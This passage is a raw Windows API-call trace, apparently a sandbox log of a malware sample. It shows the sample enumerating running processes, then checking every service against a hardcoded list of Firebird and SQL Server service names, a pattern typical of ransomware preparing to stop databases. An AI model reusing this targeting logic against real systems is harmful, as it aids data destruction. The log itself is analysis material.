lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0291.191] lstrlenW (lpString="services.exe") returned 12 [0291.191] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0291.192] lstrlenW (lpString="lsass.exe") returned 9 [0291.192] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.193] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.193] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0291.193] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0291.193] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.194] lstrlenW (lpString="svchost.exe") returned 11 [0291.194] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.195] lstrlenW (lpString="svchost.exe") returned 11 [0291.195] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0291.196] lstrlenW (lpString="dwm.exe") returned 7 [0291.196] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.196] lstrlenW (lpString="svchost.exe") returned 11 [0291.196] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.197] lstrlenW (lpString="svchost.exe") returned 11 [0291.197] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.198] lstrlenW (lpString="svchost.exe") returned 11 [0291.198] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.198] lstrlenW (lpString="svchost.exe") returned 11 [0291.199] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.199] lstrlenW (lpString="svchost.exe") returned 11 [0291.199] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.200] lstrlenW (lpString="svchost.exe") returned 11 [0291.200] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.201] lstrlenW (lpString="svchost.exe") returned 11 [0291.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.201] lstrlenW (lpString="svchost.exe") returned 11 [0291.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.202] lstrlenW (lpString="svchost.exe") returned 11 [0291.202] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.203] lstrlenW (lpString="svchost.exe") returned 11 [0291.203] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0291.204] lstrlenW (lpString="spoolsv.exe") returned 11 [0291.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.204] lstrlenW (lpString="svchost.exe") returned 11 [0291.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0291.205] lstrlenW (lpString="audiodg.exe") returned 11 [0291.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0291.206] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0291.206] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0291.207] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0291.207] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0291.208] lstrlenW (lpString="Memory Compression") returned 18 [0291.208] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0291.208] lstrlenW (lpString="svchost.exe") returned 11 [0291.208] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0291.209] lstrlenW (lpString="sihost.exe") returned 10 [0291.209] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0291.210] lstrlenW (lpString="taskhostw.exe") returned 13 [0291.210] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0291.211] lstrlenW (lpString="msoia.exe") returned 9 [0291.211] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0291.211] lstrlenW (lpString="explorer.exe") returned 12 [0291.211] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0291.212] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0291.212] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0291.213] lstrlenW (lpString="SearchUI.exe") returned 12 [0291.213] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0291.214] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0291.214] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0291.214] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0291.214] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0291.215] lstrlenW (lpString="chrome64b.exe") returned 13 [0291.215] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0291.216] lstrlenW (lpString="dllhost.exe") returned 11 [0291.216] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0291.217] lstrlenW (lpString="dllhost.exe") returned 11 [0291.217] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0291.217] lstrlenW (lpString="chrome64b.exe") returned 13 [0291.217] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0291.218] lstrlenW (lpString="cmd.exe") returned 7 [0291.218] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0291.219] lstrlenW (lpString="conhost.exe") returned 11 [0291.219] Process32NextW (in: hSnapshot=0x2f4, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0291.220] CloseHandle (hObject=0x2f4) returned 1 [0291.220] Sleep (dwMilliseconds=0x1f4) [0291.803] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75a350 [0291.804] EnumServicesStatusExW (in: hSCManager=0x75a350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0291.804] GetLastError () returned 0xea [0291.804] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1c30) returned 0x44548b0 [0291.804] EnumServicesStatusExW (in: hSCManager=0x75a350, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x44548b0, cbBufSize=0x1c30, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x44548b0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0291.805] CloseServiceHandle (hSCObject=0x75a350) returned 1 [0291.805] lstrlenW (lpString="Appinfo") returned 7 [0291.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0291.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0291.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0291.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0291.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0291.805] lstrlenW (lpString="AppXSvc") returned 7 [0291.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0291.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0291.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0291.805] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0291.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0291.805] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0291.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0291.805] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0291.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0291.806] lstrlenW (lpString="Audiosrv") returned 8 [0291.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0291.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0291.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0291.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0291.806] lstrlenW (lpString="BFE") returned 3 [0291.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0291.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0291.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0291.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0291.806] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0291.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0291.806] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0291.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0291.806] lstrlenW (lpString="CDPSvc") returned 6 [0291.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0291.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0291.806] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0291.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0291.806] lstrlenW (lpString="ClickToRunSvc") returned 13 [0291.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0291.806] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0291.806] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0291.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0291.807] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0291.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0291.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0291.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0291.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0291.807] lstrlenW (lpString="CryptSvc") returned 8 [0291.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0291.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0291.807] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0291.807] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0291.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0291.807] lstrlenW (lpString="DcomLaunch") returned 10 [0291.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0291.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0291.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0291.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0291.807] lstrlenW (lpString="DeviceAssociationService") returned 24 [0291.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0291.807] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0291.807] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0291.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0291.807] lstrlenW (lpString="Dhcp") returned 4 [0291.807] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0291.807] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0291.807] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0291.807] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0291.808] lstrlenW (lpString="Dnscache") returned 8 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0291.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0291.808] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0291.808] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0291.808] lstrlenW (lpString="DPS") returned 3 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0291.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0291.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0291.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0291.808] lstrlenW (lpString="DusmSvc") returned 7 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0291.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0291.808] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0291.808] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0291.808] lstrlenW (lpString="EventLog") returned 8 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0291.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0291.808] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0291.808] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0291.808] lstrlenW (lpString="EventSystem") returned 11 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0291.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0291.808] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0291.808] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0291.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0291.808] lstrlenW (lpString="FontCache") returned 9 [0291.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0291.809] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0291.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0291.809] lstrlenW (lpString="gpsvc") returned 5 [0291.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0291.809] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0291.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0291.809] lstrlenW (lpString="iphlpsvc") returned 8 [0291.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0291.809] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0291.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0291.809] lstrlenW (lpString="KeyIso") returned 6 [0291.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0291.809] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0291.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0291.809] lstrlenW (lpString="LanmanServer") returned 12 [0291.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0291.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0291.809] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 